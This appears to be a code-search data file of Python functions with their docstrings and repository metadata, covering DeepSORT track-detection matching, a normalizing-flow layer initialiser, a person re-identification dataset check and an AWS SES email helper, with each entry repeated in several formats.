'Solve linear assignment problem.\n\n Parameters\n ----------\n distance_metric : Callable[List[Track], List[Detection], List[int], List[int]) -> ndarray\n The distance metric is given a list of tracks and detections as well as\n a list of N track indices and M detection indices. The metric should\n return the NxM dimensional cost matrix, where element (i, j) is the\n association cost between the i-th track in the given track indices and\n the j-th detection in the given detection_indices.\n max_distance : float\n Gating threshold. Associations with cost larger than this value are\n disregarded.\n tracks : List[track.Track]\n A list of predicted tracks at the current time step.\n detections : List[detection.Detection]\n A list of detections at the current time step.\n track_indices : List[int]\n List of track indices that maps rows in `cost_matrix` to tracks in\n `tracks` (see description above).\n detection_indices : List[int]\n List of detection indices that maps columns in `cost_matrix` to\n detections in `detections` (see description above).\n\n Returns\n -------\n (List[(int, int)], List[int], List[int])\n Returns a tuple with the following three entries:\n * A list of matched track and detection indices.\n * A list of unmatched track indices.\n * A list of unmatched detection indices.\n\n '
if (track_indices is None):
track_indices = np.arange(len(tracks))
if (detection_indices is None):
detection_indices = np.arange(len(detections))
if ((len(detection_indices) == 0) or (len(track_indices) == 0)):
return ([], track_indices, detection_indices)
cost_matrix = distance_metric(tracks, detections, track_indices, detection_indices)
cost_matrix[(cost_matrix > max_distance)] = (max_distance + 1e-05)
(row_indices, col_indices) = linear_assignment(cost_matrix)
(matches, unmatched_tracks, unmatched_detections) = ([], [], [])
for (col, detection_idx) in enumerate(detection_indices):
if (col not in col_indices):
unmatched_detections.append(detection_idx)
for (row, track_idx) in enumerate(track_indices):
if (row not in row_indices):
unmatched_tracks.append(track_idx)
for (row, col) in zip(row_indices, col_indices):
track_idx = track_indices[row]
detection_idx = detection_indices[col]
if (cost_matrix[(row, col)] > max_distance):
unmatched_tracks.append(track_idx)
unmatched_detections.append(detection_idx)
else:
matches.append((track_idx, detection_idx))
return (matches, unmatched_tracks, unmatched_detections) | def min_cost_matching(distance_metric, max_distance, tracks, detections, track_indices=None, detection_indices=None):
'Solve linear assignment problem.\n\n Parameters\n ----------\n distance_metric : Callable[List[Track], List[Detection], List[int], List[int]) -> ndarray\n The distance metric is given a list of tracks and detections as well as\n a list of N track indices and M detection indices. The metric should\n return the NxM dimensional cost matrix, where element (i, j) is the\n association cost between the i-th track in the given track indices and\n the j-th detection in the given detection_indices.\n max_distance : float\n Gating threshold. Associations with cost larger than this value are\n disregarded.\n tracks : List[track.Track]\n A list of predicted tracks at the current time step.\n detections : List[detection.Detection]\n A list of detections at the current time step.\n track_indices : List[int]\n List of track indices that maps rows in `cost_matrix` to tracks in\n `tracks` (see description above).\n detection_indices : List[int]\n List of detection indices that maps columns in `cost_matrix` to\n detections in `detections` (see description above).\n\n Returns\n -------\n (List[(int, int)], List[int], List[int])\n Returns a tuple with the following three entries:\n * A list of matched track and detection indices.\n * A list of unmatched track indices.\n * A list of unmatched detection indices.\n\n '
if (track_indices is None):
track_indices = np.arange(len(tracks))
if (detection_indices is None):
detection_indices = np.arange(len(detections))
if ((len(detection_indices) == 0) or (len(track_indices) == 0)):
return ([], track_indices, detection_indices)
cost_matrix = distance_metric(tracks, detections, track_indices, detection_indices)
cost_matrix[(cost_matrix > max_distance)] = (max_distance + 1e-05)
(row_indices, col_indices) = linear_assignment(cost_matrix)
(matches, unmatched_tracks, unmatched_detections) = ([], [], [])
for (col, detection_idx) in enumerate(detection_indices):
if (col not in col_indices):
unmatched_detections.append(detection_idx)
for (row, track_idx) in enumerate(track_indices):
if (row not in row_indices):
unmatched_tracks.append(track_idx)
for (row, col) in zip(row_indices, col_indices):
track_idx = track_indices[row]
detection_idx = detection_indices[col]
if (cost_matrix[(row, col)] > max_distance):
unmatched_tracks.append(track_idx)
unmatched_detections.append(detection_idx)
else:
matches.append((track_idx, detection_idx))
return (matches, unmatched_tracks, unmatched_detections)<|docstring|>Solve linear assignment problem.
Parameters
----------
distance_metric : Callable[List[Track], List[Detection], List[int], List[int]) -> ndarray
The distance metric is given a list of tracks and detections as well as
a list of N track indices and M detection indices. The metric should
return the NxM dimensional cost matrix, where element (i, j) is the
association cost between the i-th track in the given track indices and
the j-th detection in the given detection_indices.
max_distance : float
Gating threshold. Associations with cost larger than this value are
disregarded.
tracks : List[track.Track]
A list of predicted tracks at the current time step.
detections : List[detection.Detection]
A list of detections at the current time step.
track_indices : List[int]
List of track indices that maps rows in `cost_matrix` to tracks in
`tracks` (see description above).
detection_indices : List[int]
List of detection indices that maps columns in `cost_matrix` to
detections in `detections` (see description above).
Returns
-------
(List[(int, int)], List[int], List[int])
Returns a tuple with the following three entries:
* A list of matched track and detection indices.
* A list of unmatched track indices.
* A list of unmatched detection indices.<|endoftext|> |
2ded0bd0e907be1734a3d33fefe7d3a89c05328748da1ae8992c588088e68c45 | def matching_cascade(distance_metric, max_distance, cascade_depth, tracks, detections, track_indices=None, detection_indices=None):
'Run matching cascade.\n\n Parameters\n ----------\n distance_metric : Callable[List[Track], List[Detection], List[int], List[int]) -> ndarray\n The distance metric is given a list of tracks and detections as well as\n a list of N track indices and M detection indices. The metric should\n return the NxM dimensional cost matrix, where element (i, j) is the\n association cost between the i-th track in the given track indices and\n the j-th detection in the given detection indices.\n max_distance : float\n Gating threshold. Associations with cost larger than this value are\n disregarded.\n cascade_depth: int\n The cascade depth, should be se to the maximum track age.\n tracks : List[track.Track]\n A list of predicted tracks at the current time step.\n detections : List[detection.Detection]\n A list of detections at the current time step.\n track_indices : Optional[List[int]]\n List of track indices that maps rows in `cost_matrix` to tracks in\n `tracks` (see description above). Defaults to all tracks.\n detection_indices : Optional[List[int]]\n List of detection indices that maps columns in `cost_matrix` to\n detections in `detections` (see description above). Defaults to all\n detections.\n\n Returns\n -------\n (List[(int, int)], List[int], List[int])\n Returns a tuple with the following three entries:\n * A list of matched track and detection indices.\n * A list of unmatched track indices.\n * A list of unmatched detection indices.\n\n '
if (track_indices is None):
track_indices = list(range(len(tracks)))
if (detection_indices is None):
detection_indices = list(range(len(detections)))
unmatched_detections = detection_indices
matches = []
for level in range(cascade_depth):
if (len(unmatched_detections) == 0):
break
track_indices_l = [k for k in track_indices if (tracks[k].time_since_update == (1 + level))]
if (len(track_indices_l) == 0):
continue
(matches_l, _, unmatched_detections) = min_cost_matching(distance_metric, max_distance, tracks, detections, track_indices_l, unmatched_detections)
matches += matches_l
unmatched_tracks = list((set(track_indices) - set((k for (k, _) in matches))))
return (matches, unmatched_tracks, unmatched_detections) | Run matching cascade.
Parameters
----------
distance_metric : Callable[List[Track], List[Detection], List[int], List[int]) -> ndarray
The distance metric is given a list of tracks and detections as well as
a list of N track indices and M detection indices. The metric should
return the NxM dimensional cost matrix, where element (i, j) is the
association cost between the i-th track in the given track indices and
the j-th detection in the given detection indices.
max_distance : float
Gating threshold. Associations with cost larger than this value are
disregarded.
cascade_depth: int
The cascade depth, should be se to the maximum track age.
tracks : List[track.Track]
A list of predicted tracks at the current time step.
detections : List[detection.Detection]
A list of detections at the current time step.
track_indices : Optional[List[int]]
List of track indices that maps rows in `cost_matrix` to tracks in
`tracks` (see description above). Defaults to all tracks.
detection_indices : Optional[List[int]]
List of detection indices that maps columns in `cost_matrix` to
detections in `detections` (see description above). Defaults to all
detections.
Returns
-------
(List[(int, int)], List[int], List[int])
Returns a tuple with the following three entries:
* A list of matched track and detection indices.
* A list of unmatched track indices.
* A list of unmatched detection indices. | deep_sort_pytorch/deep_sort/sort/linear_assignment.py | matching_cascade | JisuHann/Autonomous-Driving-Cart-MEME | 2,175 | python | def matching_cascade(distance_metric, max_distance, cascade_depth, tracks, detections, track_indices=None, detection_indices=None):
'Run matching cascade.\n\n Parameters\n ----------\n distance_metric : Callable[List[Track], List[Detection], List[int], List[int]) -> ndarray\n The distance metric is given a list of tracks and detections as well as\n a list of N track indices and M detection indices. The metric should\n return the NxM dimensional cost matrix, where element (i, j) is the\n association cost between the i-th track in the given track indices and\n the j-th detection in the given detection indices.\n max_distance : float\n Gating threshold. Associations with cost larger than this value are\n disregarded.\n cascade_depth: int\n The cascade depth, should be se to the maximum track age.\n tracks : List[track.Track]\n A list of predicted tracks at the current time step.\n detections : List[detection.Detection]\n A list of detections at the current time step.\n track_indices : Optional[List[int]]\n List of track indices that maps rows in `cost_matrix` to tracks in\n `tracks` (see description above). Defaults to all tracks.\n detection_indices : Optional[List[int]]\n List of detection indices that maps columns in `cost_matrix` to\n detections in `detections` (see description above). Defaults to all\n detections.\n\n Returns\n -------\n (List[(int, int)], List[int], List[int])\n Returns a tuple with the following three entries:\n * A list of matched track and detection indices.\n * A list of unmatched track indices.\n * A list of unmatched detection indices.\n\n '
if (track_indices is None):
track_indices = list(range(len(tracks)))
if (detection_indices is None):
detection_indices = list(range(len(detections)))
unmatched_detections = detection_indices
matches = []
for level in range(cascade_depth):
if (len(unmatched_detections) == 0):
break
track_indices_l = [k for k in track_indices if (tracks[k].time_since_update == (1 + level))]
if (len(track_indices_l) == 0):
continue
(matches_l, _, unmatched_detections) = min_cost_matching(distance_metric, max_distance, tracks, detections, track_indices_l, unmatched_detections)
matches += matches_l
unmatched_tracks = list((set(track_indices) - set((k for (k, _) in matches))))
return (matches, unmatched_tracks, unmatched_detections) | def matching_cascade(distance_metric, max_distance, cascade_depth, tracks, detections, track_indices=None, detection_indices=None):
'Run matching cascade.\n\n Parameters\n ----------\n distance_metric : Callable[List[Track], List[Detection], List[int], List[int]) -> ndarray\n The distance metric is given a list of tracks and detections as well as\n a list of N track indices and M detection indices. The metric should\n return the NxM dimensional cost matrix, where element (i, j) is the\n association cost between the i-th track in the given track indices and\n the j-th detection in the given detection indices.\n max_distance : float\n Gating threshold. Associations with cost larger than this value are\n disregarded.\n cascade_depth: int\n The cascade depth, should be se to the maximum track age.\n tracks : List[track.Track]\n A list of predicted tracks at the current time step.\n detections : List[detection.Detection]\n A list of detections at the current time step.\n track_indices : Optional[List[int]]\n List of track indices that maps rows in `cost_matrix` to tracks in\n `tracks` (see description above). Defaults to all tracks.\n detection_indices : Optional[List[int]]\n List of detection indices that maps columns in `cost_matrix` to\n detections in `detections` (see description above). Defaults to all\n detections.\n\n Returns\n -------\n (List[(int, int)], List[int], List[int])\n Returns a tuple with the following three entries:\n * A list of matched track and detection indices.\n * A list of unmatched track indices.\n * A list of unmatched detection indices.\n\n '
if (track_indices is None):
track_indices = list(range(len(tracks)))
if (detection_indices is None):
detection_indices = list(range(len(detections)))
unmatched_detections = detection_indices
matches = []
for level in range(cascade_depth):
if (len(unmatched_detections) == 0):
break
track_indices_l = [k for k in track_indices if (tracks[k].time_since_update == (1 + level))]
if (len(track_indices_l) == 0):
continue
(matches_l, _, unmatched_detections) = min_cost_matching(distance_metric, max_distance, tracks, detections, track_indices_l, unmatched_detections)
matches += matches_l
unmatched_tracks = list((set(track_indices) - set((k for (k, _) in matches))))
return (matches, unmatched_tracks, unmatched_detections)<|docstring|>Run matching cascade.
Parameters
----------
distance_metric : Callable[List[Track], List[Detection], List[int], List[int]) -> ndarray
The distance metric is given a list of tracks and detections as well as
a list of N track indices and M detection indices. The metric should
return the NxM dimensional cost matrix, where element (i, j) is the
association cost between the i-th track in the given track indices and
the j-th detection in the given detection indices.
max_distance : float
Gating threshold. Associations with cost larger than this value are
disregarded.
cascade_depth: int
The cascade depth, should be se to the maximum track age.
tracks : List[track.Track]
A list of predicted tracks at the current time step.
detections : List[detection.Detection]
A list of detections at the current time step.
track_indices : Optional[List[int]]
List of track indices that maps rows in `cost_matrix` to tracks in
`tracks` (see description above). Defaults to all tracks.
detection_indices : Optional[List[int]]
List of detection indices that maps columns in `cost_matrix` to
detections in `detections` (see description above). Defaults to all
detections.
Returns
-------
(List[(int, int)], List[int], List[int])
Returns a tuple with the following three entries:
* A list of matched track and detection indices.
* A list of unmatched track indices.
* A list of unmatched detection indices.<|endoftext|> |
eb53b89e3a8a32a82613225bf3acf4a4802a96da476e21831b3f96ae47fba1b0 | def gate_cost_matrix(kf, cost_matrix, tracks, detections, track_indices, detection_indices, gated_cost=INFTY_COST, only_position=False):
'Invalidate infeasible entries in cost matrix based on the state\n distributions obtained by Kalman filtering.\n\n Parameters\n ----------\n kf : The Kalman filter.\n cost_matrix : ndarray\n The NxM dimensional cost matrix, where N is the number of track indices\n and M is the number of detection indices, such that entry (i, j) is the\n association cost between `tracks[track_indices[i]]` and\n `detections[detection_indices[j]]`.\n tracks : List[track.Track]\n A list of predicted tracks at the current time step.\n detections : List[detection.Detection]\n A list of detections at the current time step.\n track_indices : List[int]\n List of track indices that maps rows in `cost_matrix` to tracks in\n `tracks` (see description above).\n detection_indices : List[int]\n List of detection indices that maps columns in `cost_matrix` to\n detections in `detections` (see description above).\n gated_cost : Optional[float]\n Entries in the cost matrix corresponding to infeasible associations are\n set this value. Defaults to a very large value.\n only_position : Optional[bool]\n If True, only the x, y position of the state distribution is considered\n during gating. Defaults to False.\n\n Returns\n -------\n ndarray\n Returns the modified cost matrix.\n\n '
gating_dim = (2 if only_position else 4)
gating_threshold = kalman_filter.chi2inv95[gating_dim]
measurements = np.asarray([detections[i].to_xyah() for i in detection_indices])
for (row, track_idx) in enumerate(track_indices):
track = tracks[track_idx]
gating_distance = kf.gating_distance(track.mean, track.covariance, measurements, only_position)
cost_matrix[(row, (gating_distance > gating_threshold))] = gated_cost
return cost_matrix | Invalidate infeasible entries in cost matrix based on the state
distributions obtained by Kalman filtering.
Parameters
----------
kf : The Kalman filter.
cost_matrix : ndarray
The NxM dimensional cost matrix, where N is the number of track indices
and M is the number of detection indices, such that entry (i, j) is the
association cost between `tracks[track_indices[i]]` and
`detections[detection_indices[j]]`.
tracks : List[track.Track]
A list of predicted tracks at the current time step.
detections : List[detection.Detection]
A list of detections at the current time step.
track_indices : List[int]
List of track indices that maps rows in `cost_matrix` to tracks in
`tracks` (see description above).
detection_indices : List[int]
List of detection indices that maps columns in `cost_matrix` to
detections in `detections` (see description above).
gated_cost : Optional[float]
Entries in the cost matrix corresponding to infeasible associations are
set this value. Defaults to a very large value.
only_position : Optional[bool]
If True, only the x, y position of the state distribution is considered
during gating. Defaults to False.
Returns
-------
ndarray
Returns the modified cost matrix. | deep_sort_pytorch/deep_sort/sort/linear_assignment.py | gate_cost_matrix | JisuHann/Autonomous-Driving-Cart-MEME | 2,175 | python | def gate_cost_matrix(kf, cost_matrix, tracks, detections, track_indices, detection_indices, gated_cost=INFTY_COST, only_position=False):
'Invalidate infeasible entries in cost matrix based on the state\n distributions obtained by Kalman filtering.\n\n Parameters\n ----------\n kf : The Kalman filter.\n cost_matrix : ndarray\n The NxM dimensional cost matrix, where N is the number of track indices\n and M is the number of detection indices, such that entry (i, j) is the\n association cost between `tracks[track_indices[i]]` and\n `detections[detection_indices[j]]`.\n tracks : List[track.Track]\n A list of predicted tracks at the current time step.\n detections : List[detection.Detection]\n A list of detections at the current time step.\n track_indices : List[int]\n List of track indices that maps rows in `cost_matrix` to tracks in\n `tracks` (see description above).\n detection_indices : List[int]\n List of detection indices that maps columns in `cost_matrix` to\n detections in `detections` (see description above).\n gated_cost : Optional[float]\n Entries in the cost matrix corresponding to infeasible associations are\n set this value. Defaults to a very large value.\n only_position : Optional[bool]\n If True, only the x, y position of the state distribution is considered\n during gating. Defaults to False.\n\n Returns\n -------\n ndarray\n Returns the modified cost matrix.\n\n '
gating_dim = (2 if only_position else 4)
gating_threshold = kalman_filter.chi2inv95[gating_dim]
measurements = np.asarray([detections[i].to_xyah() for i in detection_indices])
for (row, track_idx) in enumerate(track_indices):
track = tracks[track_idx]
gating_distance = kf.gating_distance(track.mean, track.covariance, measurements, only_position)
cost_matrix[(row, (gating_distance > gating_threshold))] = gated_cost
return cost_matrix | def gate_cost_matrix(kf, cost_matrix, tracks, detections, track_indices, detection_indices, gated_cost=INFTY_COST, only_position=False):
'Invalidate infeasible entries in cost matrix based on the state\n distributions obtained by Kalman filtering.\n\n Parameters\n ----------\n kf : The Kalman filter.\n cost_matrix : ndarray\n The NxM dimensional cost matrix, where N is the number of track indices\n and M is the number of detection indices, such that entry (i, j) is the\n association cost between `tracks[track_indices[i]]` and\n `detections[detection_indices[j]]`.\n tracks : List[track.Track]\n A list of predicted tracks at the current time step.\n detections : List[detection.Detection]\n A list of detections at the current time step.\n track_indices : List[int]\n List of track indices that maps rows in `cost_matrix` to tracks in\n `tracks` (see description above).\n detection_indices : List[int]\n List of detection indices that maps columns in `cost_matrix` to\n detections in `detections` (see description above).\n gated_cost : Optional[float]\n Entries in the cost matrix corresponding to infeasible associations are\n set this value. Defaults to a very large value.\n only_position : Optional[bool]\n If True, only the x, y position of the state distribution is considered\n during gating. Defaults to False.\n\n Returns\n -------\n ndarray\n Returns the modified cost matrix.\n\n '
gating_dim = (2 if only_position else 4)
gating_threshold = kalman_filter.chi2inv95[gating_dim]
measurements = np.asarray([detections[i].to_xyah() for i in detection_indices])
for (row, track_idx) in enumerate(track_indices):
track = tracks[track_idx]
gating_distance = kf.gating_distance(track.mean, track.covariance, measurements, only_position)
cost_matrix[(row, (gating_distance > gating_threshold))] = gated_cost
return cost_matrix<|docstring|>Invalidate infeasible entries in cost matrix based on the state
distributions obtained by Kalman filtering.
Parameters
----------
kf : The Kalman filter.
cost_matrix : ndarray
The NxM dimensional cost matrix, where N is the number of track indices
and M is the number of detection indices, such that entry (i, j) is the
association cost between `tracks[track_indices[i]]` and
`detections[detection_indices[j]]`.
tracks : List[track.Track]
A list of predicted tracks at the current time step.
detections : List[detection.Detection]
A list of detections at the current time step.
track_indices : List[int]
List of track indices that maps rows in `cost_matrix` to tracks in
`tracks` (see description above).
detection_indices : List[int]
List of detection indices that maps columns in `cost_matrix` to
detections in `detections` (see description above).
gated_cost : Optional[float]
Entries in the cost matrix corresponding to infeasible associations are
set this value. Defaults to a very large value.
only_position : Optional[bool]
If True, only the x, y position of the state distribution is considered
during gating. Defaults to False.
Returns
-------
ndarray
Returns the modified cost matrix.<|endoftext|> |
cd3afe169ca41f73763ea098462af4eee48dbf186d781fc35e4a0c1cd0134c5e | def __init__(self, dimension, num_transforms=3, num_householder_iter=(- 1), use_permanent_parameters=False, model_offset=0, exact_mode=True):
'\n Modified version of official implementation in https:/github .. fixes numerical issues with bisection inversion due to more efficient newton iterations, added offsets, and allows \n to use reparametrization trick for VAEs due to Newton iterations\n '
super().__init__(dimension=dimension, use_permanent_parameters=use_permanent_parameters, model_offset=model_offset)
if (num_householder_iter == (- 1)):
self.householder_iter = dimension
else:
self.householder_iter = num_householder_iter
self.use_householder = True
if (self.householder_iter == 0):
self.use_householder = False
self.dimension = dimension
self.num_transforms = num_transforms
self.width_min = 0.1
self.exp_min = 0.1
self.exact_mode = exact_mode
self.num_params_per_item = (num_transforms * self.dimension)
self.total_transform_params = (self.num_params_per_item * 5)
init_log_value = (- 0.1053605156)
if use_permanent_parameters:
self.log_widths1 = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * init_log_value))
else:
self.log_widths1 = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
if use_permanent_parameters:
self.log_widths2 = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * init_log_value))
else:
self.log_widths2 = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
if use_permanent_parameters:
self.means1 = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * 0.1))
else:
self.means1 = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
if use_permanent_parameters:
self.means2 = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * 0.1))
else:
self.means2 = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
if use_permanent_parameters:
self.log_exponent = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * init_log_value))
else:
self.log_exponent = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
self.num_householder_params = 0
if self.use_householder:
if use_permanent_parameters:
self.vs = nn.Parameter(torch.randn(self.householder_iter, dimension).type(torch.double).unsqueeze(0))
else:
self.vs = torch.zeros(self.householder_iter, dimension).type(torch.double).unsqueeze(0)
self.num_householder_params = (self.householder_iter * self.dimension)
self.total_param_num += (self.total_transform_params + self.num_householder_params) | Modified version of official implementation in https:/github .. fixes numerical issues with bisection inversion due to more efficient newton iterations, added offsets, and allows
to use reparametrization trick for VAEs due to Newton iterations | jammy_flows/layers/euclidean/polynomial_stretch_flow.py | __init__ | thoglu/jammy_flows | 8 | python | def __init__(self, dimension, num_transforms=3, num_householder_iter=(- 1), use_permanent_parameters=False, model_offset=0, exact_mode=True):
'\n Modified version of official implementation in https:/github .. fixes numerical issues with bisection inversion due to more efficient newton iterations, added offsets, and allows \n to use reparametrization trick for VAEs due to Newton iterations\n '
super().__init__(dimension=dimension, use_permanent_parameters=use_permanent_parameters, model_offset=model_offset)
if (num_householder_iter == (- 1)):
self.householder_iter = dimension
else:
self.householder_iter = num_householder_iter
self.use_householder = True
if (self.householder_iter == 0):
self.use_householder = False
self.dimension = dimension
self.num_transforms = num_transforms
self.width_min = 0.1
self.exp_min = 0.1
self.exact_mode = exact_mode
self.num_params_per_item = (num_transforms * self.dimension)
self.total_transform_params = (self.num_params_per_item * 5)
init_log_value = (- 0.1053605156)
if use_permanent_parameters:
self.log_widths1 = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * init_log_value))
else:
self.log_widths1 = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
if use_permanent_parameters:
self.log_widths2 = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * init_log_value))
else:
self.log_widths2 = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
if use_permanent_parameters:
self.means1 = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * 0.1))
else:
self.means1 = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
if use_permanent_parameters:
self.means2 = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * 0.1))
else:
self.means2 = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
if use_permanent_parameters:
self.log_exponent = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * init_log_value))
else:
self.log_exponent = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
self.num_householder_params = 0
if self.use_householder:
if use_permanent_parameters:
self.vs = nn.Parameter(torch.randn(self.householder_iter, dimension).type(torch.double).unsqueeze(0))
else:
self.vs = torch.zeros(self.householder_iter, dimension).type(torch.double).unsqueeze(0)
self.num_householder_params = (self.householder_iter * self.dimension)
self.total_param_num += (self.total_transform_params + self.num_householder_params) | def __init__(self, dimension, num_transforms=3, num_householder_iter=(- 1), use_permanent_parameters=False, model_offset=0, exact_mode=True):
'\n Modified version of official implementation in https:/github .. fixes numerical issues with bisection inversion due to more efficient newton iterations, added offsets, and allows \n to use reparametrization trick for VAEs due to Newton iterations\n '
super().__init__(dimension=dimension, use_permanent_parameters=use_permanent_parameters, model_offset=model_offset)
if (num_householder_iter == (- 1)):
self.householder_iter = dimension
else:
self.householder_iter = num_householder_iter
self.use_householder = True
if (self.householder_iter == 0):
self.use_householder = False
self.dimension = dimension
self.num_transforms = num_transforms
self.width_min = 0.1
self.exp_min = 0.1
self.exact_mode = exact_mode
self.num_params_per_item = (num_transforms * self.dimension)
self.total_transform_params = (self.num_params_per_item * 5)
init_log_value = (- 0.1053605156)
if use_permanent_parameters:
self.log_widths1 = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * init_log_value))
else:
self.log_widths1 = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
if use_permanent_parameters:
self.log_widths2 = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * init_log_value))
else:
self.log_widths2 = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
if use_permanent_parameters:
self.means1 = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * 0.1))
else:
self.means1 = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
if use_permanent_parameters:
self.means2 = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * 0.1))
else:
self.means2 = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
if use_permanent_parameters:
self.log_exponent = nn.Parameter((torch.ones(num_transforms, self.dimension).type(torch.double).unsqueeze(0) * init_log_value))
else:
self.log_exponent = torch.zeros(num_transforms, self.dimension).type(torch.double).unsqueeze(0)
self.num_householder_params = 0
if self.use_householder:
if use_permanent_parameters:
self.vs = nn.Parameter(torch.randn(self.householder_iter, dimension).type(torch.double).unsqueeze(0))
else:
self.vs = torch.zeros(self.householder_iter, dimension).type(torch.double).unsqueeze(0)
self.num_householder_params = (self.householder_iter * self.dimension)
self.total_param_num += (self.total_transform_params + self.num_householder_params)<|docstring|>Modified version of official implementation in https:/github .. fixes numerical issues with bisection inversion due to more efficient newton iterations, added offsets, and allows
to use reparametrization trick for VAEs due to Newton iterations<|endoftext|> |
ef6993cf9fc2dd9ddfebca35d1344efa9ed0071090f87e8ab8b560b3a630f5e2 | def _check_before_run(self):
'Check if all files are available before going deeper'
if (not osp.exists(self.dataset_dir)):
raise RuntimeError("'{}' is not available".format(self.dataset_dir))
if (not osp.exists(self.train_dir)):
raise RuntimeError("'{}' is not available".format(self.train_dir))
if (not osp.exists(self.test_dir)):
raise RuntimeError("'{}' is not available".format(self.test_dir)) | Check if all files are available before going deeper | datasets/msmt17.py | _check_before_run | gutengzczy/TransReID | 297 | python | def _check_before_run(self):
if (not osp.exists(self.dataset_dir)):
raise RuntimeError("'{}' is not available".format(self.dataset_dir))
if (not osp.exists(self.train_dir)):
raise RuntimeError("'{}' is not available".format(self.train_dir))
if (not osp.exists(self.test_dir)):
raise RuntimeError("'{}' is not available".format(self.test_dir)) | def _check_before_run(self):
if (not osp.exists(self.dataset_dir)):
raise RuntimeError("'{}' is not available".format(self.dataset_dir))
if (not osp.exists(self.train_dir)):
raise RuntimeError("'{}' is not available".format(self.train_dir))
if (not osp.exists(self.test_dir)):
raise RuntimeError("'{}' is not available".format(self.test_dir))<|docstring|>Check if all files are available before going deeper<|endoftext|> |
7683a69b9790b86437877c8fd3cca8afba5928ffcfbcb5a160ed357ef7ce2b7f | def send_email(self, subject: str, message: str, dest_address: str, tmp_file_attachment_name: str=''):
"The send_email method. This method attempts to send an email when it is called.\n\n :param subject: the subject line of the email\n :param message: the body of the email\n :param dest_address: the address to which the email should be sent\n :param tmp_file_attachment_name: (optional) a file located in /tmp which should be attached to the email\n :return: response from Amazon's SES API\n "
msg = MIMEMultipart('alternative')
msg['Subject'] = subject
msg['From'] = self._sender
msg['To'] = dest_address
body_text = self._plain_to_text_email(message)
body_html = self._plain_to_html_email(message)
text_part = MIMEText(body_text.encode(self._charset), 'plain', self._charset)
html_part = MIMEText(body_html.encode(self._charset), 'html', self._charset)
msg.attach(text_part)
msg.attach(html_part)
if tmp_file_attachment_name:
part = MIMEApplication(open(f'/tmp/{tmp_file_attachment_name}', 'rb').read())
part.add_header('Content-Disposition', 'attachment', filename=tmp_file_attachment_name)
msg.attach(part)
response = self._client.send_raw_email(Source=msg['From'], Destinations=[msg['To']], RawMessage={'Data': msg.as_string()})
return response | The send_email method. This method attempts to send an email when it is called.
:param subject: the subject line of the email
:param message: the body of the email
:param dest_address: the address to which the email should be sent
:param tmp_file_attachment_name: (optional) a file located in /tmp which should be attached to the email
:return: response from Amazon's SES API | python/ecs/ecs_email_client.py | send_email | ECS-Rocks/EcsPythonModule | 0 | python | def send_email(self, subject: str, message: str, dest_address: str, tmp_file_attachment_name: str=):
"The send_email method. This method attempts to send an email when it is called.\n\n :param subject: the subject line of the email\n :param message: the body of the email\n :param dest_address: the address to which the email should be sent\n :param tmp_file_attachment_name: (optional) a file located in /tmp which should be attached to the email\n :return: response from Amazon's SES API\n "
msg = MIMEMultipart('alternative')
msg['Subject'] = subject
msg['From'] = self._sender
msg['To'] = dest_address
body_text = self._plain_to_text_email(message)
body_html = self._plain_to_html_email(message)
text_part = MIMEText(body_text.encode(self._charset), 'plain', self._charset)
html_part = MIMEText(body_html.encode(self._charset), 'html', self._charset)
msg.attach(text_part)
msg.attach(html_part)
if tmp_file_attachment_name:
part = MIMEApplication(open(f'/tmp/{tmp_file_attachment_name}', 'rb').read())
part.add_header('Content-Disposition', 'attachment', filename=tmp_file_attachment_name)
msg.attach(part)
response = self._client.send_raw_email(Source=msg['From'], Destinations=[msg['To']], RawMessage={'Data': msg.as_string()})
return response | def send_email(self, subject: str, message: str, dest_address: str, tmp_file_attachment_name: str=):
"The send_email method. This method attempts to send an email when it is called.\n\n :param subject: the subject line of the email\n :param message: the body of the email\n :param dest_address: the address to which the email should be sent\n :param tmp_file_attachment_name: (optional) a file located in /tmp which should be attached to the email\n :return: response from Amazon's SES API\n "
msg = MIMEMultipart('alternative')
msg['Subject'] = subject
msg['From'] = self._sender
msg['To'] = dest_address
body_text = self._plain_to_text_email(message)
body_html = self._plain_to_html_email(message)
text_part = MIMEText(body_text.encode(self._charset), 'plain', self._charset)
html_part = MIMEText(body_html.encode(self._charset), 'html', self._charset)
msg.attach(text_part)
msg.attach(html_part)
if tmp_file_attachment_name:
part = MIMEApplication(open(f'/tmp/{tmp_file_attachment_name}', 'rb').read())
part.add_header('Content-Disposition', 'attachment', filename=tmp_file_attachment_name)
msg.attach(part)
response = self._client.send_raw_email(Source=msg['From'], Destinations=[msg['To']], RawMessage={'Data': msg.as_string()})
return response<|docstring|>The send_email method. This method attempts to send an email when it is called.
